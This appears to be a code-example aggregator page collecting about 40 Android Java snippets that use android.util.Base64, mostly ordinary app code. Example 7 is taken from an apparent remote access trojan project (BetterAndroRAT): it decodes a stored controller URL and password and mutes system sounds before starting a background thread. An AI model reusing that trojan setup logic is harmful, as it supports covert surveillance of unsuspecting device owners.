Java Code Examples for android.util.Base64

The following examples show how to use android.util.Base64. These examples are extracted from open source projects.
Example 1
Project: imsdk-android   File: AdActivity.java    License: MIT License 6 votes vote down vote up
protected void injectExtra(Intent intent)
{
    if(intent!=null)
    {
        Bundle extra = intent.getExtras();
        if(extra.containsKey(KEY_AD_JSON))
        {
            String base64Str = extra.getString(KEY_AD_JSON);
            if(!TextUtils.isEmpty(base64Str)) {
                String json = new String(Base64.decode(base64Str,Base64.URL_SAFE|Base64.NO_WRAP));

                try {
                    bean = JsonUtils.getGson().fromJson(json, AdvertiserBean.class);
                }
                catch (Exception ex)
                {
                    LogUtil.e(TAG,"ERROR",ex);
                    finish();
                }
            }
        }
    }
}
 
Example 2
Project: dhis2-android-capture-app   File: QRCodeGenerator.java    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
public static Bitmap transform(byte[] inputData) {
    String encoded;
    encoded = Base64.encodeToString(inputData, Base64.DEFAULT);

    MultiFormatWriter multiFormatWriter = new MultiFormatWriter();
    Bitmap bitmap = null;
    try {
        BitMatrix bitMatrix = multiFormatWriter.encode(encoded, BarcodeFormat.QR_CODE, 1000, 1000);
        BarcodeEncoder barcodeEncoder = new BarcodeEncoder();
        bitmap = barcodeEncoder.createBitmap(bitMatrix);
    } catch (WriterException e) {
        Timber.e(e);
    }

    return bitmap;
}
 
Example 3
Project: beacons-android   File: Storage.java    License: Apache License 2.0 6 votes vote down vote up
private void migrateIBeaconItems(SQLiteDatabase db) {
    SQLiteStatement updateStatement = createUpdater(db, "d0", "d1", "d2");
    Cursor cursor = db.rawQuery("SELECT rowid, uuid, maj, min FROM " + IBEACONS_TABLE, null);
    while (cursor.moveToNext()) {
        updateStatement.bindLong(1, cursor.getLong(0));
        updateStatement.bindBlob(2, Base64.decode(cursor.getString(1), Base64.DEFAULT));
        updateStatement.bindLong(3, cursor.getInt(2));
        updateStatement.bindLong(4, cursor.getInt(3));

        executeSafeUpdateOrDelete(updateStatement);
    }
    cursor.close();
    updateStatement.close();

    db.execSQL("DROP TABLE " + IBEACONS_TABLE);
}
 
Example 4
Project: react-native-sodium   File: RCTSodiumModule.java    License: ISC License 6 votes vote down vote up
@ReactMethod
public void crypto_box_beforenm(final String pk, final String sk, final Promise p) {
  try {
    byte[] pkb = Base64.decode(pk, Base64.NO_WRAP);
    byte[] skb = Base64.decode(sk, Base64.NO_WRAP);
    if (pkb.length != Sodium.crypto_box_publickeybytes())
      p.reject(ESODIUM,ERR_BAD_KEY);
    else if (skb.length != Sodium.crypto_box_secretkeybytes())
      p.reject(ESODIUM,ERR_BAD_KEY);
    else {
      byte[] s = new byte[Sodium.crypto_box_secretkeybytes()];
      int result = Sodium.crypto_box_beforenm(s, pkb, skb);
      if (result != 0)
        p.reject(ESODIUM,ERR_FAILURE);
      else
        p.resolve(Base64.encodeToString(s,Base64.NO_WRAP));
    }
  }
  catch (Throwable t) {
    p.reject(ESODIUM,ERR_FAILURE,t);
  }
}
 
Example 5
Project: Telegram   File: SsManifestParser.java    License: GNU General Public License v2.0 6 votes vote down vote up
private static byte[] getProtectionElementKeyId(byte[] initData) {
  StringBuilder initDataStringBuilder = new StringBuilder();
  for (int i = 0; i < initData.length; i += 2) {
    initDataStringBuilder.append((char) initData[i]);
  }
  String initDataString = initDataStringBuilder.toString();
  String keyIdString =
      initDataString.substring(
          initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>"));
  byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT);
  swap(keyId, 0, 3);
  swap(keyId, 1, 2);
  swap(keyId, 4, 5);
  swap(keyId, 6, 7);
  return keyId;
}
 
Example 6
Project: Pix-Art-Messenger   File: DatabaseBackend.java    License: GNU General Public License v3.0 6 votes vote down vote up
public Set<IdentityKey> loadIdentityKeys(Account account, String name, FingerprintStatus status) {
    Set<IdentityKey> identityKeys = new HashSet<>();
    Cursor cursor = getIdentityKeyCursor(account, name, false);

    while (cursor.moveToNext()) {
        if (status != null && !FingerprintStatus.fromCursor(cursor).equals(status)) {
            continue;
        }
        try {
            String key = cursor.getString(cursor.getColumnIndex(SQLiteAxolotlStore.KEY));
            if (key != null) {
                identityKeys.add(new IdentityKey(Base64.decode(key, Base64.DEFAULT), 0));
            } else {
                Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Missing key (possibly preverified) in database for account" + account.getJid().asBareJid() + ", address: " + name);
            }
        } catch (InvalidKeyException e) {
            Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Encountered invalid IdentityKey in database for account" + account.getJid().asBareJid() + ", address: " + name);
        }
    }
    cursor.close();

    return identityKeys;
}
 
Example 7
Project: BetterAndroRAT   File: MyService.java    License: GNU General Public License v3.0 6 votes vote down vote up
public void initiate()
{
       try 
       {
       	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false);
           PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit();

        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit();
         
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit();

     	URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT ));
     	password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT ));
         	    
        AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
        mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); 
       } catch (Exception e) {e.printStackTrace();}
       thread.start();
}
 
Example 8
Project: Cake-VPN   File: VpnProfile.java    License: GNU General Public License v2.0 6 votes vote down vote up
public String getSignedData(String b64data) {
    PrivateKey privkey = getKeystoreKey();
    byte[] data = Base64.decode(b64data, Base64.DEFAULT);
    // The Jelly Bean *evil* Hack
    // 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider
    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) {
        return processSignJellyBeans(privkey, data);
    }
    try {
        /* ECB is perfectly fine in this special case, since we are using it for
           the public/private part in the TLS exchange
         */
        @SuppressLint("GetInstance") Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING");
        rsaSigner.init(Cipher.ENCRYPT_MODE, privkey);
        byte[] signed_bytes = rsaSigner.doFinal(data);
        return Base64.encodeToString(signed_bytes, Base64.NO_WRAP);
    } catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException
            | BadPaddingException | NoSuchPaddingException e) {
        VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage());
        return null;
    }
}
 
Example 9
Project: MediaSDK   File: SsManifestParser.java    License: Apache License 2.0 6 votes vote down vote up
private static byte[] getProtectionElementKeyId(byte[] initData) {
  StringBuilder initDataStringBuilder = new StringBuilder();
  for (int i = 0; i < initData.length; i += 2) {
    initDataStringBuilder.append((char) initData[i]);
  }
  String initDataString = initDataStringBuilder.toString();
  String keyIdString =
      initDataString.substring(
          initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>"));
  byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT);
  swap(keyId, 0, 3);
  swap(keyId, 1, 2);
  swap(keyId, 4, 5);
  swap(keyId, 6, 7);
  return keyId;
}
 
Example 10
Project: hr   File: OFileManager.java    License: GNU Affero General Public License v3.0 6 votes vote down vote up
@Override
protected ODataRow doInBackground(ODataRow... params) {
    if (mApp.inNetwork()) {
        try {
            Thread.sleep(500);
            ODataRow attachment = params[0];
            String base64 = irAttachment.getDatasFromServer(attachment.getInt(OColumn.ROW_ID));
            if (!base64.equals("false")) {
                String file = createFile(attachment.getString("name"),
                        Base64.decode(base64, 0)
                        , attachment.getString("file_type"));
                Uri uri = Uri.fromFile(new File(file));
                OValues values = new OValues();
                values.put("file_uri", uri.toString());
                irAttachment.update(attachment.getInt(OColumn.ROW_ID), values);
                return irAttachment.browse(attachment.getInt(OColumn.ROW_ID));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    return null;
}
 
Example 11
Project: reader   File: CordovaResourceApi.java    License: MIT License 6 votes vote down vote up
private OpenForReadResult readDataUri(Uri uri) {
    String uriAsString = uri.getSchemeSpecificPart();
    int commaPos = uriAsString.indexOf(',');
    if (commaPos == -1) {
        return null;
    }
    String[] mimeParts = uriAsString.substring(0, commaPos).split(";");
    String contentType = null;
    boolean base64 = false;
    if (mimeParts.length > 0) {
        contentType = mimeParts[0];
    }
    for (int i = 1; i < mimeParts.length; ++i) {
        if ("base64".equalsIgnoreCase(mimeParts[i])) {
            base64 = true;
        }
    }
    String dataPartAsString = uriAsString.substring(commaPos + 1);
    byte[] data = base64 ? Base64.decode(dataPartAsString, Base64.DEFAULT) : EncodingUtils.getBytes(dataPartAsString, "UTF-8");
    InputStream inputStream = new ByteArrayInputStream(data);
    return new OpenForReadResult(uri, inputStream, contentType, data.length, null);
}
 
Example 12
Project: GotoBrowser   File: KcUtils.java    License: GNU General Public License v3.0 6 votes vote down vote up
public static void processDataUriImage(ExecutorService executor, BrowserActivity activity, String data) {
    executor.submit(() -> {
        Context context = activity.getApplicationContext();
        SimpleDateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd HH-mm-ss");
        String date = dateFormat.format (System.currentTimeMillis());
        String filename = "gtb-".concat(date);

        String image = data.substring(data.indexOf(",") + 1);
        byte[] decodedString = Base64.decode(image, Base64.DEFAULT);
        Bitmap decodedImage = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length);
        Uri fileUri;
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            fileUri = writeImageFile(context, filename, decodedImage);
        } else {
            fileUri = writeImageFileOld(context, filename, decodedImage);
        }

        Log.e("GOTO-DURL-P", "Path: " + fileUri.toString());
        Log.e("GOTO-DURL-P", "Image Size: " + decodedImage.getWidth() + "x" + decodedImage.getHeight());
        activity.runOnUiThread(() -> activity.showScreenshotNotification(decodedImage, fileUri));
    });
}
 
Example 13
Project: CameraV   File: IIntakeData.java    License: GNU General Public License v3.0 6 votes vote down vote up
public IIntakeData(long timeCreated, String timezone, long timeOffset, String originalHash, String cameraComponentPackageName) {
	super();
	InformaCam informaCam = InformaCam.getInstance();
			
	JSONObject dataObj = new JSONObject();
	
	try {
		dataObj.put("timezone", timezone);
		dataObj.put("timeCreated", timeCreated);
		dataObj.put("timeOffset", timeOffset);
		dataObj.put("cameraComponentPackageName", cameraComponentPackageName);
		dataObj.put("originalHash", originalHash);
		
		data = Base64.encode(dataObj.toString().getBytes(), Base64.DEFAULT);
		signature = new String(informaCam.signatureService.signData(data));
	} catch(Exception e) {
		Logger.e(LOG, e);
	}
}
 
Example 14
Project: react-native-sodium   File: RCTSodiumModule.java    License: ISC License 6 votes vote down vote up
@ReactMethod
public void crypto_scalarmult_base(final String n, final Promise p) {
  try {
    byte[] nb = Base64.decode(n, Base64.NO_WRAP);
    if (nb.length != Sodium.crypto_box_secretkeybytes())
      p.reject(ESODIUM,ERR_BAD_KEY);
    else {
      byte[] q = new byte[Sodium.crypto_box_publickeybytes()];
      int result = Sodium.crypto_scalarmult_base(q, nb);
      if (result != 0)
        p.reject(ESODIUM,ERR_BAD_KEY);
      else
        p.resolve(Base64.encodeToString(q,Base64.NO_WRAP));
    }
  }
  catch (Throwable t) {
    p.reject(ESODIUM,ERR_FAILURE,t);
  }
}
 
Example 15
Project: AndroidTampering   File: AndroidTamperingProtection.java    License: MIT License 6 votes vote down vote up
/**
 * Checks if the apk signature is valid.
 *
 * @param context The context.
 * @param certificateSignature The certificate signature.
 *
 * @return a boolean indicating if the signature is valid.
 */

private static boolean isAValidSignature(Context context, String certificateSignature) {
    try {
        PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES);

        // The APK is signed with multiple signatures, probably it was tampered.
        if (packageInfo.signatures.length > 1) {
            return false;
        }

        for (Signature signature : packageInfo.signatures) {
            MessageDigest md = MessageDigest.getInstance("SHA");

            md.update(signature.toByteArray());

            if (certificateSignature.compareToIgnoreCase(Base64.encodeToString(md.digest(), Base64.DEFAULT)) == 0) {
                return true;
            }
        }
    } catch (Exception exception) {
        Log.d("TAMPERING_PROTECTION", exception.getStackTrace().toString());
    }

    return false;
}
 
Example 16
Project: LaunchTime   File: CrashReportActivity.java    License: GNU General Public License v3.0 6 votes vote down vote up
private String sendData() {
    String requestURL =  getString(R.string.feedback_url);
    HashMap<String, String> postDataParams = new HashMap<>();

    String comment = ((EditText)findViewById(R.id.err_user_comment)).getText().toString();
    if (comment.length()>0) {
        comment = "\ncomment:" +  Base64.encodeToString(comment.getBytes(),Base64.DEFAULT) + "\n";
    }
    postDataParams.put("app",appname);
    postDataParams.put("data", error + comment);

    String response = HttpUtils.sendPostData(requestURL, postDataParams);

    Log.d("err-report" , response);

    return response;
}
 
Example 17
Project: amiibo   File: AmiiboFile.java    License: GNU General Public License v2.0 6 votes vote down vote up
public Amiibo toAmiibo() {
    try {
        Amiibo amiibo = new Amiibo();
        amiibo.name = name;
        amiibo.uuid = uuid;
        if (amiibo.uuid == null) amiibo.uuid = UUID.randomUUID().toString();
        amiibo.game_name = game_name;
        amiibo.created_at = created_at;
        amiibo.data = new Blob(Base64.decode(data, Base64.URL_SAFE | Base64.NO_WRAP));
        amiibo.amiibo_identifier = amiibo_identifier;

        return amiibo;
    } catch (Exception exception_while_parsing) {
        exception_while_parsing.printStackTrace();
        return null;
    }
}
 
Example 18
Project: Auth0.Android   File: SecureCredentialsManagerTest.java    License: MIT License 6 votes vote down vote up
@Test
public void shouldSaveNonRefreshableCredentialsInStorage() {
    long expirationTime = CredentialsMock.CURRENT_TIME_MS + 123456 * 1000;
    Credentials credentials = new CredentialsMock("idToken", "accessToken", "type", null, new Date(expirationTime), "scope");
    String json = gson.toJson(credentials);
    prepareJwtDecoderMock(new Date(expirationTime));
    when(crypto.encrypt(json.getBytes())).thenReturn(json.getBytes());

    manager.saveCredentials(credentials);

    verify(storage).store(eq("com.auth0.credentials"), stringCaptor.capture());
    verify(storage).store("com.auth0.credentials_expires_at", expirationTime);
    verify(storage).store("com.auth0.credentials_can_refresh", false);
    verifyNoMoreInteractions(storage);
    final String encodedJson = stringCaptor.getValue();
    assertThat(encodedJson, is(notNullValue()));
    final byte[] decoded = Base64.decode(encodedJson, Base64.DEFAULT);
    Credentials storedCredentials = gson.fromJson(new String(decoded), Credentials.class);
    assertThat(storedCredentials.getAccessToken(), is("accessToken"));
    assertThat(storedCredentials.getIdToken(), is("idToken"));
    assertThat(storedCredentials.getRefreshToken(), is(nullValue()));
    assertThat(storedCredentials.getType(), is("type"));
    assertThat(storedCredentials.getExpiresAt(), is(notNullValue()));
    assertThat(storedCredentials.getExpiresAt().getTime(), is(expirationTime));
    assertThat(storedCredentials.getScope(), is("scope"));
}
 
Example 19
Project: andOTP   File: Settings.java    License: MIT License 6 votes vote down vote up
public byte[] setAuthCredentials(String plainPassword) {
    byte[] key = null;

    try {
        int iterations = EncryptionHelper.generateRandomIterations();
        EncryptionHelper.PBKDF2Credentials credentials = EncryptionHelper.generatePBKDF2Credentials(plainPassword, getSalt(), iterations);
        String password = Base64.encodeToString(credentials.password, Base64.URL_SAFE);

        setIterations(iterations);
        setString(R.string.settings_key_auth_credentials, password);

        key = credentials.key;
    } catch (NoSuchAlgorithmException | InvalidKeySpecException e) {
        e.printStackTrace();
    }

    return key;
}
 
Example 20
Project: Telegram-FOSS   File: TgVoip.java    License: GNU General Public License v2.0 6 votes vote down vote up
private static boolean checkDexFile(File dexFile) {
    if (dexFile != null && dexFile.exists()) {
        try {
            final MessageDigest digest = MessageDigest.getInstance("SHA1");
            final InputStream fileInputStream = new FileInputStream(dexFile);
            final byte[] buffer = new byte[4096];
            int len;
            while ((len = fileInputStream.read(buffer)) > 0) {
                digest.update(buffer, 0, len);
            }
            final String checksum = new String(Base64.encode(digest.digest(), Base64.DEFAULT)).trim();
            return TgVoipDex.getChecksum().equals(checksum);
        } catch (Exception e) {
            FileLog.e(e);
            return false;
        }
    } else {
        return false;
    }
}
 
Example 21
Project: pebble-android-sdk   File: PebbleDictionary.java    License: MIT License 6 votes vote down vote up
private static JSONObject serializeTuple(PebbleTuple t) throws JSONException {
    JSONObject j = new JSONObject();
    j.put(KEY, t.key);
    j.put(TYPE, t.type.getName());
    j.put(LENGTH, t.width.value);

    switch (t.type) {
        case BYTES:
            j.put(VALUE, Base64.encodeToString((byte[]) t.value, Base64.NO_WRAP));
            break;
        case STRING:
        case INT:
        case UINT:
            j.put(VALUE, t.value);
            break;
    }

    return j;
}
 
Example 22
Project: SimpleOpenVpn-Android   File: VpnProfile.java    License: Apache License 2.0 6 votes vote down vote up
public String getSignedData(String b64data) {
    PrivateKey privkey = getKeystoreKey();
    byte[] data = Base64.decode(b64data, Base64.DEFAULT);
    // The Jelly Bean *evil* Hack
    // 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider
    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) {
        return processSignJellyBeans(privkey, data);
    }

    try {
        /* ECB is perfectly fine in this special case, since we are using it for
           the public/private part in the TLS exchange
         */
        @SuppressLint("GetInstance")
        Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING");
        rsaSigner.init(Cipher.ENCRYPT_MODE, privkey);
        byte[] signed_bytes = rsaSigner.doFinal(data);
        return Base64.encodeToString(signed_bytes, Base64.NO_WRAP);
    } catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException
            | BadPaddingException | NoSuchPaddingException e) {
        VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage());
        return null;
    }
}
 
Example 23
Project: android-chromium   File: AndroidChannelPreferences.java    License: BSD 2-Clause "Simplified" License 6 votes vote down vote up
/**
 * Removes and returns the buffered Ticl message, if any. If no message was buffered, returns
 * {@code null}.
 */
static byte[] takeBufferedMessage(Context context) {
  SharedPreferences preferences = getPreferences(context);
  String message = preferences.getString(BUFFERED_MSG_PREF, null);
  if (message == null) {
    // No message was buffered.
    return null;
  }
  // There is a message to return. Remove the stored value from the preferences.
  SharedPreferences.Editor editor = preferences.edit();
  editor.remove(BUFFERED_MSG_PREF);

  // If this fails, we might send the same message twice, which is fine.
  commitEditor(editor, "takeBufferedMessage");

  // Return the decoded message.
  return Base64.decode(message, Base64.URL_SAFE);
}
 
Example 24
Project: SendBird-Android   File: GroupChannelListAdapter.java    License: MIT License 6 votes vote down vote up
public void load() {
    try {
        File appDir = new File(mContext.getCacheDir(), SendBird.getApplicationId());
        appDir.mkdirs();

        File dataFile = new File(appDir, TextUtils.generateMD5(SendBird.getCurrentUser().getUserId() + "channel_list") + ".data");

        String content = FileUtils.loadFromFile(dataFile);
        String[] dataArray = content.split("\n");

        // Reset channel list, then add cached data.
        mChannelList.clear();
        for (int i = 0; i < dataArray.length; i++) {
            mChannelList.add((GroupChannel) BaseChannel.buildFromSerializedData(Base64.decode(dataArray[i], Base64.DEFAULT | Base64.NO_WRAP)));
        }

        notifyDataSetChanged();
    } catch(Exception e) {
        // Nothing to load.
    }
}
 
Example 25
Project: Popeens-DSub   File: KakaduaUtil.java    License: GNU General Public License v3.0 5 votes vote down vote up
public static String base64Decode(String s){
    byte[] dataDec = Base64.decode(s, Base64.NO_WRAP);
    String decodedString = "";
    try{
        decodedString = new String(dataDec, "UTF-8");
    }catch (UnsupportedEncodingException e){
        e.printStackTrace();
    }finally{
        return decodedString;
    }
}
 
Example 26
Project: android_packages_apps_GmsCore   File: Attestation.java    License: Apache License 2.0 5 votes vote down vote up
private String getBytesAsString(byte[] bytes) {
    if (bytes == null) return "null";
    try {
        CharsetDecoder d = Charset.forName("US-ASCII").newDecoder();
        CharBuffer r = d.decode(ByteBuffer.wrap(bytes));
        return r.toString();
    } catch (Exception e) {
        return Base64.encodeToString(bytes, Base64.NO_WRAP);
    }
}
 
Example 27
Project: DeviceConnect-Android   File: AccessTokenServerResource.java    License: MIT License 5 votes vote down vote up
protected static String getApplicationName(Form params) throws OAuthException {
    String base64ApplicationName = params.getFirstValue(APPLICATION_NAME);
    String applicationName = new String(Base64.decode(base64ApplicationName, Base64.URL_SAFE|Base64.NO_WRAP));
    if (applicationName == null || applicationName.isEmpty()) {
        throw new OAuthException(OAuthError.invalid_request,
                "Mandatory parameter application_name is missing", null);
    }
    return applicationName;
}
 
Example 28
Project: FreezeYou   File: BackupImportChooserActivity.java    License: Apache License 2.0 5 votes vote down vote up
private void generateUserDefinedCategoriesList(JSONObject jsonObject, ArrayList<HashMap<String, String>> list) {
    JSONArray array = jsonObject.optJSONArray("userDefinedCategories");
    if (array == null) {
        return;
    }

    JSONObject oneUserDefinedCategoriesJSONObject;
    String myCustomizationDashLineLabel = getString(R.string.myCustomizationDashLineLabel);
    String defaultLabel = "";
    for (int i = 0; i < array.length(); ++i) {
        oneUserDefinedCategoriesJSONObject = array.optJSONObject(i);
        if (oneUserDefinedCategoriesJSONObject == null) {
            continue;
        }
        HashMap<String, String> keyValuePair = new HashMap<>();
        keyValuePair.put("title",
                String.format(myCustomizationDashLineLabel,
                        new String(
                                Base64.decode(
                                        oneUserDefinedCategoriesJSONObject.optString(
                                                "label", defaultLabel),
                                        Base64.DEFAULT
                                )
                        )
                )
        );
        try {
            oneUserDefinedCategoriesJSONObject.put("i", Integer.toString(i));
        } catch (JSONException e) {
            e.printStackTrace();
        }
        keyValuePair.put("spKey", Integer.toString(i));
        keyValuePair.put("category", "userDefinedCategories");
        list.add(keyValuePair);
    }
}
 
Example 29
Project: samba-documents-provider   File: EncryptionManager.java    License: GNU General Public License v3.0 5 votes vote down vote up
public String encrypt(String data) throws EncryptionException {
  try {
    Cipher cipher = Cipher.getInstance(AES_CIPHER);
    cipher.init(
            Cipher.ENCRYPT_MODE, mKey.getKey(),
            new GCMParameterSpec(GCM_TAG_LENGTH, mKey.getIv()));

    byte[] encrypted = cipher.doFinal(data.getBytes(Charset.forName(DEFAULT_CHARSET)));

    return Base64.encodeToString(encrypted, Base64.DEFAULT);
  } catch (Exception e) {
    throw new EncryptionException("Failed to encrypt data: ", e);
  }
}
 
Example 30
Project: AndroidMathKeyboard   File: BitmapUtil.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * 加载bitmap,根据目标宽高对图片进行缩放,减少内存占用
 * @param filePath
 * @return
 */
public static Bitmap loadBitmap(String filePath,int reqWidth,int reqHeight,boolean hdMode){

    BitmapFactory.Options options = new BitmapFactory.Options();
    options.inJustDecodeBounds = true; // 解析图片的时候,只解析长度和宽度,不载入图片,这样就节省内存开支
    if (hdMode){
        options.inPreferredConfig = Bitmap.Config.ARGB_8888;
    }else {
        options.inPreferredConfig = Bitmap.Config.RGB_565;
    }
    Bitmap bitmap = null;
    if (filePath.matches("data:image.*base64.*")) {
        String base_64_source = filePath.replaceAll("data:image.*base64", "");
        byte[] data = Base64.decode(base_64_source, Base64.DEFAULT);
        // 只加载bitmap宽高数据
        BitmapFactory.decodeByteArray(data, 0, data.length,options);
        options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);
        options.inJustDecodeBounds = false;
        bitmap = BitmapFactory.decodeByteArray(data, 0, data.length,options);
    }else {
        // 只加载bitmap宽高数据
        BitmapFactory.decodeFile(filePath, options);
        options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);
        options.inJustDecodeBounds = false;
        // 根据缩放比例加载bitmap,减少内存
        bitmap = BitmapFactory.decodeFile(filePath, options);
    }
    return bitmap;
}
 
Example 31
Project: QuickDevFramework   File: BitmapUtil.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * bitmap转为base64
 *
 * @param bitmap
 * @return
 * @throws IOException
 */
public static String bitmapToBase64(Bitmap bitmap) throws IOException {
    if (bitmap == null) {
        return null;
    }
    String result = null;
    ByteArrayOutputStream baos = null;
    baos = new ByteArrayOutputStream();
    bitmap.compress(Bitmap.CompressFormat.JPEG, 50, baos);
    baos.flush();
    baos.close();
    byte[] bitmapBytes = baos.toByteArray();
    result = Base64.encodeToString(bitmapBytes, Base64.DEFAULT);
    return result;
}
 
Example 32
Project: SecuritySample   File: SubjectKeyIdentifierImpl.java    License: Apache License 2.0 5 votes vote down vote up
@Override
public String toString() {
    StringBuilder sb = new StringBuilder();
    sb.append(OIDMap.getName(Extension.subjectKeyIdentifier.getId()));
    sb.append(" [\n");
    if (!lock) {
        sb.append("KeyIdentifierImpl [\n");
        sb.append(Base64.encodeToString(keyIdentifier, Base64.DEFAULT));
        sb.append("]\n");
    }
    sb.append("]\n");
    return sb.toString();
}
 
Example 33
Project: Aurora   File: DataHelper.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * 将对象从shareprerence中取出来
 *
 * @param key
 * @param <T>
 * @return
 */
public static <T> T getDeviceData(Context context, String key) {
    if (mSharedPreferences == null) {
        mSharedPreferences = context.getSharedPreferences(SP_NAME, Context.MODE_PRIVATE);
    }
    T device = null;
    String productBase64 = mSharedPreferences.getString(key, null);

    if (productBase64 == null) {
        return null;
    }
    // 读取字节
    byte[] base64 = Base64.decode(productBase64.getBytes(), Base64.DEFAULT);

    // 封装到字节流
    ByteArrayInputStream bais = new ByteArrayInputStream(base64);
    try {
        // 再次封装
        ObjectInputStream bis = new ObjectInputStream(bais);

        // 读取对象
        device = (T) bis.readObject();

    } catch (Exception e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
    return device;
}
 
Example 34
Project: MemorySpinner   File: MemorySpinnerUtils.java    License: Apache License 2.0 5 votes vote down vote up
public static List String2SceneList(String str)
        throws IOException, ClassNotFoundException {

    byte[] mobileBytes = Base64.decode(str.getBytes(),
            Base64.DEFAULT);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(
            mobileBytes);
    ObjectInputStream objectInputStream = new ObjectInputStream(
            byteArrayInputStream);
    List SceneList = (List) objectInputStream.readObject();
    objectInputStream.close();

    return SceneList;
}
 
Example 35
Project: android-auth-manager   File: AESCrypto.java    License: Apache License 2.0 5 votes vote down vote up
@NonNull
public String encrypt(@NonNull String password, @NonNull String decryptedString) throws Exception {
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    IvParameterSpec ivParams = new IvParameterSpec(mIv);
    cipher.init(Cipher.ENCRYPT_MODE, deriveKeyPbkdf2(mSalt, password), ivParams);
    byte[] cipherBytes = cipher.doFinal(decryptedString.getBytes("UTF-8"));
    return Base64.encodeToString(cipherBytes, Base64.DEFAULT);
}
 
Example 36
Project: OpenHub   File: AESEncrypting.java    License: GNU General Public License v3.0 5 votes vote down vote up
/**
 * AES解密
 * @param input 解密字符串
 * @param key 密钥,密钥必须是16位的
 * @return
 */
public static String decrypt(String input, @NonNull String key){
    byte[] output = null;
    try{
      SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
      Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
      cipher.init(Cipher.DECRYPT_MODE, skey);
      output = cipher.doFinal(Base64.decode(input, Base64.DEFAULT));
    }catch(Exception e){
      System.out.println(e.toString());
    }
    return new String(output);
}
 
Example 37
Project: WeexOne   File: XmlUtils.java    License: MIT License 5 votes vote down vote up
public static byte[] readByteArrayAttribute(XmlPullParser in, String name) {
    final String value = in.getAttributeValue(null, name);
    if (value != null) {
        return Base64.decode(value, Base64.DEFAULT);
    } else {
        return null;
    }
}
 
Example 38
Project: green_android   File: PinData.java    License: GNU General Public License v3.0 5 votes vote down vote up
@JsonIgnore
public static PinData fromPreferenceValues(final SharedPreferences pin) {
    final PinData pinData = new PinData();
    pinData.setPinIdentifier(pin.getString("ident", null));
    final String[] split = pin.getString("encrypted", null).split(";");
    final byte[] encryptedData = Base64.decode(split[1], Base64.NO_WRAP);
    pinData.setSalt(split[0]);
    pinData.setEncryptedData(Wally.hex_from_bytes(encryptedData));
    return pinData;
}
 
Example 39
Project: RetroMusicPlayer   File: LyricUtil.java    License: GNU General Public License v3.0 5 votes vote down vote up
public static String decryptBASE64(String str) {
    if (str == null || str.length() == 0) {
        return null;
    }
    try {
        byte[] encode = str.getBytes("UTF-8");
        // base64 解密
        return new String(Base64.decode(encode, 0, encode.length, Base64.DEFAULT), "UTF-8");

    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }

    return null;
}
 
Example 40
Project: xmrwallet   File: KeyStoreHelper.java    License: Apache License 2.0 5 votes vote down vote up
public static String loadWalletUserPass(@NonNull Context context, String wallet) throws BrokenPasswordStoreException {
    String walletKeyAlias = SecurityConstants.WALLET_PASS_KEY_PREFIX + wallet;
    String encoded = context.getSharedPreferences(SecurityConstants.WALLET_PASS_PREFS_NAME, Context.MODE_PRIVATE)
            .getString(wallet, "");
    if (encoded.isEmpty()) throw new BrokenPasswordStoreException();
    byte[] data = Base64.decode(encoded, Base64.DEFAULT);
    byte[] decrypted = KeyStoreHelper.decrypt(walletKeyAlias, data);
    if (decrypted == null) throw new BrokenPasswordStoreException();
    return new String(decrypted, StandardCharsets.UTF_8);
}